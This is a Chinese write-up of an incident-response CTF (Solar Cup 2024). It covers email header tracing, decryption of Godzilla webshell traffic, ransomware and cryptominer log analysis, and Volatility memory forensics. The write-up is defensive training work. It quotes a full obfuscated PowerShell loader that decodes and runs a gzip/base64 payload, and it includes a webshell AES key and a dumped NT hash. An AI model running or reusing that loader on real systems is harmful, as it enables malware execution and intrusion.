2024第一届Solar杯应急响应挑战赛WP

本文章仅记录解答过程中的思路,具体答案请以官方WP为主。

签到题

题目:

本题作为签到题,请给出邮服发件顺序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Received: from mail.da4s8gag.com ([140.143.207.229])
by newxmmxszc6-1.qq.com (NewMX) with SMTP id 6010A8AD
for ; Thu, 17 Oct 2024 11:24:01 +0800
X-QQ-mid: xmmxszc6-1t1729135441tm9qrjq3k
X-QQ-XMRINFO: NgToQqU5s31XQ+vYT/V7+uk=
Authentication-Results: mx.qq.com; spf=none smtp.mailfrom=;
dkim=none; dmarc=none(permerror) header.from=solar.sec
Received: from mail.solar.sec (VM-20-3-centos [127.0.0.1])
by mail.da4s8gag.com (Postfix) with ESMTP id 2EF0A60264
for ; Thu, 17 Oct 2024 11:24:01 +0800 (CST)
Date: Thu, 17 Oct 2024 11:24:01 +0800
To: [email protected]
From: 鍏嬪競缃戜俊
Subject:xxxxxxxxxx
Message-Id: <[email protected]>
X-Mailer: QQMail 2.x

XXXXXXXXXX

解答:

根据邮件头信息,邮件的发件顺序可以从最早的 Received 头部向后推断,首先是最初的邮件来源,依次通过多个邮件服务器转发。具体顺序如下:

  1. mail.solar.sec
  2. mail.da4s8gag.com
  3. newxmmxszc6-1.qq.com

所以,flag的结果为:

1
flag{mail.solar.sec|mail.da4s8gag.com|newxmmxszc6-1.qq.com}

日志流量

本题目所给环境如下:

日志流量-1

题目:

新手运维小王的Geoserver遭到了攻击:黑客疑似删除了webshell后门,小王找到了可能是攻击痕迹的文件但不一定是正确的,请帮他排查一下。

解答:

本题主要考察tomcat环境webshell文件上传特征。

在 Apache Tomcat 的运行环境中,work/Catalina/localhost/ROOT/ 目录通常是用于存放 JSP 文件的编译产物的临时目录。当攻击者上传 WebShell(通常是以 .jsp 为后缀的文件)时,Tomcat 会自动将上传的 JSP 文件编译为 Java 源文件(.java),并进一步编译为字节码文件(.class),最终用于执行。

查看临时目录,发现webshell的Java 源文件,根据特征判断为哥斯拉AES马。

1
apache-tomcat-9.0.96\work\Catalina\localhost\ROOT\org\apache\jsp\b_jsp.java

flag为code的base64解码。当然本题目也可以使用D盾等webshell查杀工具。

日志流量-2

题目:

新手运维小王的Geoserver遭到了攻击:小王拿到了当时被入侵时的流量,其中一个IP有访问webshell的流量,已提取部分放在了两个pcapng中了。请帮他解密该流量。

解答:

本题主要考察哥斯拉webshell流量分析解密。

通过wire流量包分析发现大量的b.jsp木马请求流量。

通过题目1判断的哥斯拉JAVA_AES_RAW木马,可通过参考以下文章进行解密

1
https://xz.aliyun.com/t/15909?time__1311=GqjxcD2DuDRDyADlxGo%2BGKqd%3DxgnujeD#toc-3

哥斯拉的JAVA_AES_RAW的payload,可以通过题目1知道xc=a2550eeab0724a69,解密时需要复制密文的十六进制,然后使用AES解密,最后使用Gunzip()解压缩,因为哥斯拉传输数据时使用Gunzip压缩。返回包不需要去掉前后的16位。

CyberChef配方为

1
2
3
From_Hex('Auto')
AES_Decrypt({'option':'UTF8','string':'a2550eeab0724a69'},{'option':'Hex','string':''},'ECB','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})
Gunzip()

得到flag

日志流量-3

题目:

新手运维小王的Geoserver遭到了攻击:小王拿到了当时被入侵时的流量,黑客疑似通过webshell上传了文件,请看看里面是什么。

解答:

本题主要考察哥斯拉webshell流量分析解密。

题目中问上传的文件,可通过追踪流,查找大流量的上传报文。同样在流6发现一个较大的请求流量。


通过题目2的方法解密,导出文件,修改后缀为PDF,查看PDF得到Flag。

数据库

题目文件

数据库-1

题目:

请找到攻击者创建隐藏账户的时间

解答:

本题主要考察windows日志分析能力。

导入虚拟机ovf,需要密码,同时发现test$ 隐藏账号名

题目未给出密码,可通过PE修改密码、SAM字典列举密码进入系统环境。
进入系统发现每个文件夹下都存在X3rmENR07.README.txt文件,为勒索信,此场景为勒索病毒应急场景。

通过windows安全日志分析可知,新用户创建的事件ID为4720,筛选4720的安全日志,获得Flag。

数据库-2

题目:

请找到恶意文件的名称

解答:

本题考查windows进程分析。

通过Windows任务管理器、procexp、火绒剑等程序分析进程。发现PID为3488的异常挖矿程序进程C:\java\xmrig.exe。

得到Flag

数据库-3

题目:

请找到恶意文件的外联地址

解答:

查看挖矿配置文件


矿池为sierting.com,题目提示为外联IP。分析系统挖矿程序的网络连接情况netstat -ano。得到恶意IP地址,拿到Flag。

数据库-4

题目:

请修复数据库

解答:

主机感染了勒索病毒,由于加密程序可能只对文件部分内容进行篡改,则可能在数据库文件恢复到部分数据。通过分析数据库的本地文件C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\DATA\*

在tempdb_mssql_3.ndf.X3rmENR07发现flag。

数据库-5

题目:

请提交powershell命令中恶意文件的MD5

解答:

本题主要考察powershell日志分析。

打开事件查看器,分析powershell日志,发现可疑执行日志。

1
HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('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{0}')-f'A','f','M')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))

解码base64字符串

点击魔法棒,发现为gunzip压缩。

添加gunzip解压缩

Snipaste_2024-12-30_15-54-03
得到ps1脚本。

恶意文件仍为base64编码,解码得到恶意文件内容。md5哈希得到flag

内存分析

本题目所给环境如下:

内存分析-1

题目:

请找到rdp连接的跳板地址

解答:

使用内存分析工具volatility(https://github.com/volatilityfoundation/volatility)查看镜像基本信息。

1
volatility.exe -f SERVER-2008-20241220-162057.raw  imageinfo

使用建议的 profile:Win7SP1x64。分析3389端口网络连接情况,定位到跳板地址IP,得到flag。

1
volatility.exe -f SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 netscan

内存分析-2

题目:

请找到攻击者下载黑客工具的IP地址

解答:

查看历史cmd命令,找到黑客工具mimikatz的下载地址。

内存分析-3

题目:

攻击者获取的“FusionManager节点操作系统帐户(业务帐户)”的密码是什么

解答:

通过内存分析-2的cmd历史,推测攻击者查看了C:\Users\Administrator\Desktop\pass.txt密码文件。

使用filescan插件扫描文件: 通过Volatility扫描内存转储,查找pass.txt文件。

1
volatility -f SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 filescan|findstr pass

使用dumpfiles插件从内存中提取该文件,得到flag。

1
volatility -f SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000007e4cedd0 -D .

内存分析-4

题目:

请找到攻击者创建的用户

解答:

通过注册表、ntuser.ini等文件变化,推测攻击者创建的用户为ASP.NET,得到flag。

内存分析-5

题目:

请找到攻击者利用跳板rdp登录的时间

解答:

通过sessions命令来列出用户会话,其中

1
volatility -f SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 sessions|findstr rdp


根据 rdpclip.exe (RDP剪贴板功能)启动的时间(2024-12-20 16:15:34 UTC+0000),可以推测攻击者可能通过远程桌面(RDP)进行跳板登录。注意UTC需要+8,得到flag。

内存分析-6

题目:

请找到攻击者创建的用户的密码哈希值

解答:

使用hashdump插件获取用户hash信息,其中ASP.NET用户的NT哈希值为:5ffe97489cbec1e08d0c6339ec39416d

1
volatility -f SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 hashdump

综合应急

综合应急-2

题目:

攻击者上传了代理工具,请写出他的最终存放路径

解答:

通过综合应急-1初步分析,dc03是最后一个被入侵所给环境的机器。在其可能存在横向的行为。进而分析dc03的sysmon日志分析,333.exe存在多个转发内网80、443流量行为,推测是代理程序。分析出代理程序路径为:

1
C:\Users\Administrator\Desktop\333.exe